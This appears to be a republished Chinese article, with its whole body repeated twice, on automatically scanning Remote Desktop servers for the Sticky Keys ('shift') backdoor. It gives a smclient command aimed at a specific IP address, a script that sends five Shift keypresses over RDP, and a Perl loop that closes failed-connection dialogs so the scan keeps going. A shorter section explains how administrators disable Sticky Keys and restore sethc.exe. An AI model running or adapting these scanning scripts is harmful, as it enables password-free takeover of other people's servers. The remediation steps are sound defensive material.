3389遠(yuǎn)程終端的SHIFT后門自動(dòng)掃描[自動(dòng)關(guān)閉錯(cuò)誤連接]
發(fā)布日期：2021-12-12 21:43 | 文章來源：源碼之家
首先3389的SHIFT后門極少
其次大部分SHIFT后門都加密
所以手工一個(gè)一個(gè)嘗試是挺傻的，寫成自動(dòng)掃描的話，還能讓人忍受
需要用到的工具 roboclient
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
有些SHIFT后門被改成了按7次SHIFT，或者是WIN+U后門，改改shift_backdoor.txt把功能加進(jìn)去即可
自動(dòng)關(guān)閉錯(cuò)誤連接
#!/usr/bin/perl
use warnings;
use Win32::GUI;
use constant WM_CLOSE => 16;
sub monitor {
my $handle = Win32::GUI::FindWindow('', '中斷遠(yuǎn)程桌面連接');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
sub monitor1 {
my $handle = Win32::GUI::FindWindow('', '斷開 Windows 會(huì)話');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
while(1){
&monitor;
&monitor1;
sleep(2);
}
shift后門的解決辦法
一日在網(wǎng)上看到了shift后門，說是按5下shift鍵服務(wù)器的系統(tǒng)盤就蹦出來了，不用輸入密碼！我一看，就懷著好奇的想法試了下果真如此，難怪我們的服務(wù)器總是出問題，查了下解決辦法現(xiàn)在發(fā)出來，希望和我一樣的菜鳥X級網(wǎng)管能有用。
打開控制面板－－輔助功能選項(xiàng)－－粘滯鍵－－設(shè)置－－去掉使用快捷鍵的勾
還有要改下copy.exe的權(quán)限，不過在這里推薦大家把c盤所有的程序都 改下，只有administrator才能訪問
shift后門的預(yù)防解決辦法：預(yù)防很簡單的，連敲5次shift，然后在彈出的設(shè)置里面取消連滯鍵
已經(jīng)中了的話
attrib c:\windows\system32\sethc.exe -h
attrib c:\windows\system32\dllcache\sethc.exe -h
拷貝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目錄下；拷貝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目錄下
收工！
其次大部分SHIFT后門都加密
所以手工一個(gè)一個(gè)嘗試是挺傻的，寫成自動(dòng)掃描的話，還能讓人忍受
需要用到的工具 roboclient
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
有些SHIFT后門被改成了按7次SHIFT，或者是WIN+U后門，改改shift_backdoor.txt把功能加進(jìn)去即可
自動(dòng)關(guān)閉錯(cuò)誤連接
復(fù)制代碼
代碼如下:#!/usr/bin/perl
use warnings;
use Win32::GUI;
use constant WM_CLOSE => 16;
sub monitor {
my $handle = Win32::GUI::FindWindow('', '中斷遠(yuǎn)程桌面連接');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
sub monitor1 {
my $handle = Win32::GUI::FindWindow('', '斷開 Windows 會(huì)話');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
while(1){
&monitor;
&monitor1;
sleep(2);
}
shift后門的解決辦法
一日在網(wǎng)上看到了shift后門，說是按5下shift鍵服務(wù)器的系統(tǒng)盤就蹦出來了，不用輸入密碼！我一看，就懷著好奇的想法試了下果真如此，難怪我們的服務(wù)器總是出問題，查了下解決辦法現(xiàn)在發(fā)出來，希望和我一樣的菜鳥X級網(wǎng)管能有用。
打開控制面板－－輔助功能選項(xiàng)－－粘滯鍵－－設(shè)置－－去掉使用快捷鍵的勾
還有要改下copy.exe的權(quán)限，不過在這里推薦大家把c盤所有的程序都 改下，只有administrator才能訪問
shift后門的預(yù)防解決辦法：預(yù)防很簡單的，連敲5次shift，然后在彈出的設(shè)置里面取消連滯鍵
已經(jīng)中了的話
attrib c:\windows\system32\sethc.exe -h
attrib c:\windows\system32\dllcache\sethc.exe -h
拷貝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目錄下；拷貝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目錄下
收工！
版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信